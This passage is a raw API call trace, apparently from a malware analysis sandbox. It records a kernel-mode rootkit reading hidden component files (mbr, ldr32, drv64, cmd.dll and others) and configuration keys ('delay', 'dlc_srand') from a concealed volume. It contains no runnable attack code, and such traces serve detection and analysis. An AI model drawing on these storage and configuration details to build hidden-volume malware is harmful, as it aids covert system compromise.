SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.970] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.970] IdePortDispatch () returned 0x103 [0128.970] KeWaitForMutexObject () returned 0x0 [0128.970] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.970] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.970] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.970] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.970] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.970] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.970] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.970] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.970] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.970] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.970] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.970] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.970] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.970] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.970] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.970] KeLeaveCriticalRegion () [0128.970] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.970] ReleaseMutex (hMutex=0x100) returned 1 [0128.970] Sleep (dwMilliseconds=0x2bf20) [0128.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70130050, dwHighDateTime=0x1d24fa4)) [0128.977] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.977] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.977] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.977] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.978] KeEnterCriticalRegion () [0128.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.978] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.978] IdePortDispatch () returned 0x103 [0128.978] KeWaitForMutexObject () returned 0x0 [0128.978] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.978] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.978] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.978] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.978] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.978] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036497d0 [0128.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.978] KeLeaveCriticalRegion () [0128.978] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.978] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.978] KeEnterCriticalRegion () [0128.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.978] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.978] KeLeaveCriticalRegion () [0128.978] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.978] KeEnterCriticalRegion () [0128.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.978] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.978] IdePortDispatch () returned 0x103 [0128.978] KeWaitForMutexObject () returned 0x0 [0128.979] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.979] KeLeaveCriticalRegion () [0128.979] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.979] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.979] KeEnterCriticalRegion () [0128.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.979] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b78000 [0128.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.979] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.979] IdePortDispatch () returned 0x103 [0128.979] KeWaitForMutexObject () returned 0x0 [0128.979] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.979] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.979] IdePortDispatch () returned 0x103 [0128.980] KeWaitForMutexObject () returned 0x0 [0128.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.980] KeLeaveCriticalRegion () [0128.980] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.980] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.980] KeEnterCriticalRegion () [0128.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.980] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.980] KeLeaveCriticalRegion () [0128.980] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.980] KeEnterCriticalRegion () [0128.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.980] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.980] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02280, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.980] KeLeaveCriticalRegion () [0128.980] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.980] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.981] KeEnterCriticalRegion () [0128.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.981] ExFreePoolWithTag (P=0xfffffa80036497d0, Tag=0x0) [0128.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.981] KeLeaveCriticalRegion () [0128.981] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.981] ReleaseMutex (hMutex=0xf0) returned 1 [0128.981] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.981] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.981] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.981] KeEnterCriticalRegion () [0128.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.981] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.981] IdePortDispatch () returned 0x103 [0128.981] KeWaitForMutexObject () returned 0x0 [0128.981] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.981] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.981] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.981] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.981] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.981] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02c70 [0128.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.981] KeLeaveCriticalRegion () [0128.981] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.981] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.981] KeEnterCriticalRegion () [0128.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.981] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.981] KeLeaveCriticalRegion () [0128.982] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.982] KeEnterCriticalRegion () [0128.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.982] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.982] IdePortDispatch () returned 0x103 [0128.982] KeWaitForMutexObject () returned 0x0 [0128.982] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.982] KeLeaveCriticalRegion () [0128.982] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.982] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.982] KeEnterCriticalRegion () [0128.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.982] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b79000 [0128.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.982] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.982] IdePortDispatch () returned 0x103 [0128.982] KeWaitForMutexObject () returned 0x0 [0128.982] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.983] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.983] IdePortDispatch () returned 0x103 [0128.983] KeWaitForMutexObject () returned 0x0 [0128.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.983] KeLeaveCriticalRegion () [0128.983] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.983] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.983] KeEnterCriticalRegion () [0128.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.983] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.983] KeLeaveCriticalRegion () [0128.983] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.983] KeEnterCriticalRegion () [0128.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.983] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.983] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02d30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.984] KeLeaveCriticalRegion () [0128.984] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.984] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.984] KeEnterCriticalRegion () [0128.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.984] ExFreePoolWithTag (P=0xfffffa8003c02c70, Tag=0x0) [0128.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.984] KeLeaveCriticalRegion () [0128.984] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.984] ReleaseMutex (hMutex=0xf0) returned 1 [0128.984] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.984] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.984] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.984] KeEnterCriticalRegion () [0128.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.984] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.984] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.984] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.984] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.984] IdePortDispatch () returned 0x103 [0128.984] KeWaitForMutexObject () returned 0x0 [0128.984] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.984] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.984] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.984] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.984] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.984] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01320 [0128.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.984] KeLeaveCriticalRegion () [0128.984] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.984] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.985] KeEnterCriticalRegion () [0128.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.985] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.985] KeLeaveCriticalRegion () [0128.985] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.985] KeEnterCriticalRegion () [0128.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.985] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.985] IdePortDispatch () returned 0x103 [0128.985] KeWaitForMutexObject () returned 0x0 [0128.985] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.985] KeLeaveCriticalRegion () [0128.985] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.985] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.985] KeEnterCriticalRegion () [0128.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.985] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7a000 [0128.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.985] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.985] IdePortDispatch () returned 0x103 [0128.985] KeWaitForMutexObject () returned 0x0 [0128.986] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.986] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.986] IdePortDispatch () returned 0x103 [0128.986] KeWaitForMutexObject () returned 0x0 [0128.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.986] KeLeaveCriticalRegion () [0128.986] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.986] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.986] KeEnterCriticalRegion () [0128.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.986] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.986] KeLeaveCriticalRegion () [0128.987] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.987] KeEnterCriticalRegion () [0128.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.987] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.987] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.987] KeLeaveCriticalRegion () [0128.987] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.987] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.987] KeEnterCriticalRegion () [0128.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.987] ExFreePoolWithTag (P=0xfffffa8003c01320, Tag=0x0) [0128.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.987] KeLeaveCriticalRegion () [0128.987] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.987] ReleaseMutex (hMutex=0xf0) returned 1 [0128.987] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.987] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.987] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 